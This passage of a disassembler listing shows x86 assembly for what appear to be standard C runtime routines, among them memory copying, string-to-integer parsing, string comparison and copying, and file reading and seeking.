; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41842C: ; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_418440: ; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_418458: ; CODE XREF: sub_4182C0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41848C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_418480: ; CODE XREF: sub_4182C0+1B1j ; sub_4182C0+208j ... neg ecx jmp off_418550[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41848C: ; CODE XREF: sub_4182C0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_4184A4 and eax, 3 sub ecx, eax jmp dword ptr loc_4184A4+4[eax*4] ; --------------------------------------------------------------------------- loc_4184A4: ; CODE XREF: sub_4182C0+1D6j ; DATA XREF: sub_4182C0+1DDr jmp off_4185A0[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4184B7+1 ; --------------------------------------------------------------------------- fadd dword ptr [ecx+eax*2+41850000h] loc_4184B7: ; DATA XREF: sub_4182C0+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_418554 dd offset loc_41855C dd offset loc_418564 dd offset loc_41856C dd offset loc_418574 dd offset loc_41857C dd offset loc_418584 off_418550 dd offset loc_418597 ; DATA XREF: sub_4182C0+1C2r ; --------------------------------------------------------------------------- loc_418554: ; DATA XREF: sub_4182C0+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41855C: ; DATA XREF: sub_4182C0+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_418564: ; DATA XREF: sub_4182C0+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41856C: ; DATA XREF: sub_4182C0+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_418574: ; DATA XREF: sub_4182C0+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41857C: ; DATA XREF: sub_4182C0+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_418584: ; DATA XREF: sub_4182C0+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_418597: ; CODE XREF: sub_4182C0+1C2j ; DATA XREF: sub_4182C0:off_418550o jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 10h off_4185A0 dd offset loc_4185B0 ; DATA XREF: sub_4182C0+1B7r ; sub_4182C0:loc_4184A4r ... dd offset loc_4185B8 dd offset loc_4185C8 dd offset loc_4185DC ; --------------------------------------------------------------------------- loc_4185B0: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4185B8: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4185C8: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4185DC: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_4182C0 endp ; =============== S U B R O U T I N E ======================================= sub_4185F5 proc near ; CODE XREF: sub_40473F+34p ; sub_40473F+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_417B9B pop ecx pop ecx retn sub_4185F5 endp ; =============== S U B R O U T I N E ======================================= sub_418603 proc near ; CODE XREF: sub_418670+4p arg_0 = dword ptr 4 push esi push dword_4CF03C call sub_41D5A8 mov edx, dword_4CF03C pop ecx mov ecx, dword_4CF038 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_418662 push edx call sub_41D5A8 add eax, 10h push eax push dword_4CF03C call sub_41944F add esp, 0Ch test eax, eax jnz short loc_418645 retn ; --------------------------------------------------------------------------- loc_418645: ; CODE XREF: sub_418603+3Fj mov ecx, dword_4CF038 sub ecx, dword_4CF03C mov dword_4CF03C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4CF038, ecx loc_418662: ; CODE XREF: sub_418603+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4CF038, 4 retn sub_418603 endp ; =============== S U B R O U T I N E ======================================= sub_418670 proc near ; CODE XREF: sub_40482C+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_418603 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_418670 endp ; =============== S U B R O U T I N E ======================================= sub_418682 proc near ; DATA XREF: ___:00426018o push 80h call sub_417B89 test eax, eax pop ecx mov dword_4CF03C, eax jnz short loc_4186A3 push 18h call sub_419CDA mov eax, dword_4CF03C pop ecx loc_4186A3: ; CODE XREF: sub_418682+12j and dword ptr [eax], 0 mov eax, dword_4CF03C mov dword_4CF038, eax retn sub_418682 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4186B1 proc near ; CODE XREF: ___:00404AFFp ; sub_4053D5+4Ep var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax nop call near ptr 26204BDh lea eax, [ebp+var_20] push eax nop call near ptr 2800000h mov ax, [ebp+var_16] cmp ax, word_4CD9AA jnz short loc_418716 mov ax, [ebp+var_18] cmp ax, word_4CD9A8 jnz short loc_418716 mov ax, [ebp+var_1A] cmp ax, word_4CD9A6 jnz short loc_418716 mov ax, [ebp+var_1E] cmp ax, word_4CD9A2 jnz short loc_418716 mov ax, [ebp+var_20] cmp ax, word_4CD9A0 jnz short loc_418716 mov eax, dword_4CD998 jmp short loc_41875B ; --------------------------------------------------------------------------- loc_418716: ; CODE XREF: sub_4186B1+28j ; sub_4186B1+35j ... lea eax, [ebp+var_CC] push eax nop call near ptr 27F0000h cmp eax, 0FFFFFFFFh jz short loc_418743 cmp eax, 2 jnz short loc_41873F cmp [ebp+var_32], 0 jz short loc_41873F cmp [ebp+var_24], 0 jz short loc_41873F push 1 pop eax jmp short loc_418746 ; --------------------------------------------------------------------------- loc_41873F: ; CODE XREF: sub_4186B1+7Aj ; sub_4186B1+81j ... xor eax, eax jmp short loc_418746 ; --------------------------------------------------------------------------- loc_418743: ; CODE XREF: sub_4186B1+75j or eax, 0FFFFFFFFh loc_418746: ; CODE XREF: sub_4186B1+8Cj ; sub_4186B1+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_4CD9A0 movsd movsd movsd movsd pop edi mov dword_4CD998, eax pop esi loc_41875B: ; CODE XREF: sub_4186B1+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_41D609 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41878B mov [ecx], eax locret_41878B: ; CODE XREF: sub_4186B1+D6j leave retn sub_4186B1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418790 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4CDA40 cmp dword ptr [eax+8], 0 jnz short loc_4187E3 mov al, 0FFh mov edi, edi loc_4187AC: ; CODE XREF: sub_418790+28j ; sub_418790+48j or al, al jz short loc_4187DE mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_4187AC sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_4187AC sbb al, al sbb al, 0FFh loc_4187DE: ; CODE XREF: sub_418790+1Ej movsx eax, al jmp short loc_418817 ; --------------------------------------------------------------------------- loc_4187E3: ; CODE XREF: sub_418790+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_4187EC: ; CODE XREF: sub_418790+68j ; sub_418790+80j or al, al jz short loc_418817 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_4187EC push eax push ebx call sub_419101 mov ebx, eax add esp, 4 call sub_419101 add esp, 4 cmp bl, al jz short loc_4187EC sbb eax, eax sbb eax, 0FFFFFFFFh loc_418817: ; CODE XREF: sub_418790+51j ; sub_418790+5Ej pop ebx pop esi pop edi leave retn sub_418790 endp ; =============== S U B R O U T I N E ======================================= sub_41881C proc near ; CODE XREF: ___:0041ACB7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_418833 add esp, 10h retn sub_41881C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418833 proc near ; CODE XREF: sub_41881C+Ep ; sub_418A3B+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41884B: ; CODE XREF: sub_418833+46j cmp dword_433E7C, 1 jle short loc_418863 movzx eax, bl push 8 push eax call sub_41A642 pop ecx pop ecx jmp short loc_418872 ; --------------------------------------------------------------------------- loc_418863: ; CODE XREF: sub_418833+1Fj mov ecx, off_433C70 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_418872: ; CODE XREF: sub_418833+2Ej test eax, eax jz short loc_41887B mov bl, [esi] inc esi jmp short loc_41884B ; --------------------------------------------------------------------------- loc_41887B: ; CODE XREF: sub_418833+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_418889 or [ebp+arg_C], 2 jmp short loc_41888E ; --------------------------------------------------------------------------- loc_418889: ; CODE XREF: sub_418833+4Ej cmp bl, 2Bh jnz short loc_418894 loc_41888E: ; CODE XREF: sub_418833+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_418894: ; CODE XREF: sub_418833+59j mov eax, [ebp+arg_8] test eax, eax jl loc_418A2B cmp eax, 1 jz loc_418A2B cmp eax, 24h jg loc_418A2B push 10h test eax, eax pop ecx jnz short loc_4188DC cmp bl, 30h jz short loc_4188C6 mov [ebp+arg_8], 0Ah jmp short loc_4188F8 ; --------------------------------------------------------------------------- loc_4188C6: ; CODE XREF: sub_418833+88j mov al, [esi] cmp al, 78h jz short loc_4188D9 cmp al, 58h jz short loc_4188D9 mov [ebp+arg_8], 8 jmp short loc_4188F8 ; --------------------------------------------------------------------------- loc_4188D9: ; CODE XREF: sub_418833+97j ; sub_418833+9Bj mov [ebp+arg_8], ecx loc_4188DC: ; CODE XREF: sub_418833+83j cmp [ebp+arg_8], ecx jnz short loc_4188F8 cmp bl, 30h jnz short loc_4188F8 mov al, [esi] cmp al, 78h jz short loc_4188F0 cmp al, 58h jnz short loc_4188F8 loc_4188F0: ; CODE XREF: sub_418833+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_4188F8: ; CODE XREF: sub_418833+91j ; sub_418833+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_418908: ; CODE XREF: sub_418833+16Cj cmp dword_433E7C, 1 movzx esi, bl jle short loc_418920 push 4 push esi call sub_41A642 pop ecx pop ecx jmp short loc_41892B ; --------------------------------------------------------------------------- loc_418920: ; CODE XREF: sub_418833+DFj mov eax, off_433C70 mov al, [eax+esi*2] and eax, 4 loc_41892B: ; CODE XREF: sub_418833+EBj test eax, eax jz short loc_418937 movsx ecx, bl sub ecx, 30h jmp short loc_418969 ; --------------------------------------------------------------------------- loc_418937: ; CODE XREF: sub_418833+FAj cmp dword_433E7C, 1 jle short loc_41894B push edi push esi call sub_41A642 pop ecx pop ecx jmp short loc_418956 ; --------------------------------------------------------------------------- loc_41894B: ; CODE XREF: sub_418833+10Bj mov eax, off_433C70 mov ax, [eax+esi*2] and eax, edi loc_418956: ; CODE XREF: sub_418833+116j test eax, eax jz short loc_4189A4 movsx eax, bl push eax call sub_41D6CB pop ecx mov ecx, eax sub ecx, 37h loc_418969: ; CODE XREF: sub_418833+102j cmp ecx, [ebp+arg_8] jnb short loc_4189A4 mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41898E jnz short loc_418988 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41898E loc_418988: ; CODE XREF: sub_418833+147j or [ebp+arg_C], 4 jmp short loc_418997 ; --------------------------------------------------------------------------- loc_41898E: ; CODE XREF: sub_418833+145j ; sub_418833+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_418997: ; CODE XREF: sub_418833+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_418908 ; --------------------------------------------------------------------------- loc_4189A4: ; CODE XREF: sub_418833+125j ; sub_418833+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_4189C2 test edx, edx jz short loc_4189BC mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4189BC: ; CODE XREF: sub_418833+181j and [ebp+var_8], 0 jmp short loc_418A0F ; --------------------------------------------------------------------------- loc_4189C2: ; CODE XREF: sub_418833+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_4189E8 test cl, 1 jnz short loc_418A0F and ecx, 2 jz short loc_4189DF cmp [ebp+var_8], 80000000h ja short loc_4189E8 loc_4189DF: ; CODE XREF: sub_418833+1A1j test ecx, ecx jnz short loc_418A0F cmp [ebp+var_8], eax jbe short loc_418A0F loc_4189E8: ; CODE XREF: sub_418833+197j ; sub_418833+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4CD9B4, 22h jz short loc_4189FE or [ebp+var_8], 0FFFFFFFFh jmp short loc_418A0F ; --------------------------------------------------------------------------- loc_4189FE: ; CODE XREF: sub_418833+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_418A0F: ; CODE XREF: sub_418833+18Dj ; sub_418833+19Cj ... test edx, edx jz short loc_418A18 mov eax, [ebp+var_4] mov [edx], eax loc_418A18: ; CODE XREF: sub_418833+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_418A26 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_418A26: ; CODE XREF: sub_418833+1E9j mov eax, [ebp+var_8] jmp short loc_418A36 ; --------------------------------------------------------------------------- loc_418A2B: ; CODE XREF: sub_418833+66j ; sub_418833+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_418A34 mov [eax], edi loc_418A34: ; CODE XREF: sub_418833+1FDj xor eax, eax loc_418A36: ; CODE XREF: sub_418833+1F6j pop edi pop esi pop ebx leave retn sub_418833 endp ; =============== S U B R O U T I N E ======================================= sub_418A3B proc near ; CODE XREF: sub_4053D5+4BDp ; sub_40EE72+3773p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_418833 add esp, 10h retn sub_418A3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A52 proc near ; CODE XREF: sub_4053D5+266p ; sub_4053D5+46Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_417AB0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_41D797 add esp, 10h leave retn sub_418A52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A86 proc near ; CODE XREF: sub_405A58+4Ep ; sub_406C19+30Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_418AAA xor eax, eax jmp loc_418B53 ; --------------------------------------------------------------------------- loc_418AAA: ; CODE XREF: sub_418A86+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_418ABD mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_418AC9 ; --------------------------------------------------------------------------- loc_418ABD: ; CODE XREF: sub_418A86+2Dj mov [ebp+arg_C], 1000h jmp short loc_418AC9 ; --------------------------------------------------------------------------- loc_418AC6: ; CODE XREF: sub_418A86+C4j mov ecx, [ebp+arg_0] loc_418AC9: ; CODE XREF: sub_418A86+35j ; sub_418A86+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_418AFB mov eax, [esi+4] test eax, eax jz short loc_418AFB cmp ecx, eax mov edi, ecx jb short loc_418AE0 mov edi, eax loc_418AE0: ; CODE XREF: sub_418A86+56j push edi push dword ptr [esi] push ebx call sub_417390 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_418B46 ; --------------------------------------------------------------------------- loc_418AFB: ; CODE XREF: sub_418A86+49j ; sub_418A86+50j cmp ecx, [ebp+arg_C] jb short loc_418B2E cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_418B11 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_418B11: ; CODE XREF: sub_418A86+80j push eax push ebx push dword ptr [esi+10h] call sub_41E321 add esp, 0Ch test eax, eax jz short loc_418B58 cmp eax, 0FFFFFFFFh jz short loc_418B5E sub [ebp+arg_0], eax add ebx, eax jmp short loc_418B46 ; --------------------------------------------------------------------------- loc_418B2E: ; CODE XREF: sub_418A86+78j push esi call sub_41E248 cmp eax, 0FFFFFFFFh pop ecx jz short loc_418B62 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_418B46: ; CODE XREF: sub_418A86+73j ; sub_418A86+A6j cmp [ebp+arg_0], 0 jnz loc_418AC6 mov eax, [ebp+arg_8] loc_418B53: ; CODE XREF: sub_418A86+1Fj ; sub_418A86+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_418B58: ; CODE XREF: sub_418A86+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_418B62 ; --------------------------------------------------------------------------- loc_418B5E: ; CODE XREF: sub_418A86+9Fj or dword ptr [esi+0Ch], 20h loc_418B62: ; CODE XREF: sub_418A86+B2j ; sub_418A86+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_418B53 sub_418A86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418B6E proc near ; CODE XREF: sub_405AF2+2B2p ; sub_4060D0+101p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_418B87: ; CODE XREF: sub_418B6E+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_418B87 mov edx, [ebp+arg_0] test edx, edx jnz short loc_418BAF mov edx, dword_4CD9B0 loc_418BAF: ; CODE XREF: sub_418B6E+39j ; sub_418B6E+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_418BCF test al, al jz short loc_418BCF inc edx jmp short loc_418BAF ; --------------------------------------------------------------------------- loc_418BCF: ; CODE XREF: sub_418B6E+58j ; sub_418B6E+5Cj mov ebx, edx loc_418BD1: ; CODE XREF: sub_418B6E+81j mov al, [edx] test al, al jz short loc_418BF5 movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_418BF1 inc edx jmp short loc_418BD1 ; --------------------------------------------------------------------------- loc_418BF1: ; CODE XREF: sub_418B6E+7Ej and byte ptr [edx], 0 inc edx loc_418BF5: ; CODE XREF: sub_418B6E+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4CD9B0, edx and eax, ebx pop ebx leave retn sub_418B6E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418C10 proc near ; CODE XREF: sub_406387+1B6p ; sub_407252+6Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_418C93 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_418C34 shr ecx, 2 jnz short loc_418CA1 jmp short loc_418C55 ; --------------------------------------------------------------------------- loc_418C34: ; CODE XREF: sub_418C10+1Bj ; sub_418C10+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_418C62 test al, al jz short loc_418C6A test esi, 3 jnz short loc_418C34 mov ebx, ecx shr ecx, 2 jnz short loc_418CA1 loc_418C50: ; CODE XREF: sub_418C10+8Fj and ebx, 3 jz short loc_418C62 loc_418C55: ; CODE XREF: sub_418C10+22j ; sub_418C10+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_418C8E dec ebx jnz short loc_418C55 loc_418C62: ; CODE XREF: sub_418C10+2Bj ; sub_418C10+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418C6A: ; CODE XREF: sub_418C10+2Fj test edi, 3 jz short loc_418C84 loc_418C72: ; CODE XREF: sub_418C10+72j mov [edi], al inc edi dec ecx jz loc_418D06 test edi, 3 jnz short loc_418C72 loc_418C84: ; CODE XREF: sub_418C10+60j mov ebx, ecx shr ecx, 2 jnz short loc_418CF7 loc_418C8B: ; CODE XREF: sub_418C10+7Fj ; sub_418C10+F4j mov [edi], al inc edi loc_418C8E: ; CODE XREF: sub_418C10+4Dj dec ebx jnz short loc_418C8B pop ebx pop esi loc_418C93: ; CODE XREF: sub_418C10+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_418C99: ; CODE XREF: sub_418C10+A9j ; sub_418C10+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_418C50 loc_418CA1: ; CODE XREF: sub_418C10+20j ; sub_418C10+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_418C99 test dl, dl jz short loc_418CEB test dh, dh jz short loc_418CE1 test edx, 0FF0000h jz short loc_418CD7 test edx, 0FF000000h jnz short loc_418C99 mov [edi], edx jmp short loc_418CEF ; --------------------------------------------------------------------------- loc_418CD7: ; CODE XREF: sub_418C10+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_418CEF ; --------------------------------------------------------------------------- loc_418CE1: ; CODE XREF: sub_418C10+B1j and edx, 0FFh mov [edi], edx jmp short loc_418CEF ; --------------------------------------------------------------------------- loc_418CEB: ; CODE XREF: sub_418C10+ADj xor edx, edx mov [edi], edx loc_418CEF: ; CODE XREF: sub_418C10+C5j ; sub_418C10+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_418D01 loc_418CF7: ; CODE XREF: sub_418C10+79j xor eax, eax loc_418CF9: ; CODE XREF: sub_418C10+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_418CF9 loc_418D01: ; CODE XREF: sub_418C10+E5j and ebx, 3 jnz short loc_418C8B loc_418D06: ; CODE XREF: sub_418C10+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_418C10 endp ; =============== S U B R O U T I N E ======================================= sub_418D0E proc near ; CODE XREF: sub_406C19+2E2p ; sub_406C19+435p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_418D8A mov edi, [esp+8+arg_8] test edi, edi jz short loc_418D2D cmp edi, 1 jz short loc_418D2D cmp edi, 2 jnz short loc_418D8A loc_418D2D: ; CODE XREF: sub_418D0E+13j ; sub_418D0E+18j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_418D44 push esi call sub_41E5B1 add [esp+0Ch+arg_4], eax pop ecx xor edi, edi loc_418D44: ; CODE XREF: sub_418D0E+27j push esi call sub_41A7D0 mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_418D59 and al, 0FCh mov [esi+0Ch], eax jmp short loc_418D6D ; --------------------------------------------------------------------------- loc_418D59: ; CODE XREF: sub_418D0E+42j test al, 1 jz short loc_418D6D test al, 8 jz short loc_418D6D test ah, 4 jnz short loc_418D6D mov dword ptr [esi+18h], 200h loc_418D6D: ; CODE XREF: sub_418D0E+49j ; sub_418D0E+4Dj ... push edi push [esp+0Ch+arg_4] push dword ptr [esi+10h] call sub_41E517 add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_418D97 ; --------------------------------------------------------------------------- loc_418D8A: ; CODE XREF: sub_418D0E+Bj ; sub_418D0E+1Dj mov dword_4CD9B4, 16h or eax, 0FFFFFFFFh loc_418D97: ; CODE XREF: sub_418D0E+7Aj pop edi pop esi retn sub_418D0E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DA0 proc near ; CODE XREF: sub_406C19+2ACp ; sub_406C19+2CDp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_418DD1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_418DCF jz short loc_418DD1 dec ecx dec ecx loc_418DCF: ; CODE XREF: sub_418DA0+29j not ecx loc_418DD1: ; CODE XREF: sub_418DA0+9j ; sub_418DA0+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_418DA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418DE0 proc near ; CODE XREF: sub_407110+5Cp ; sub_407110+9Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_418E94 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short 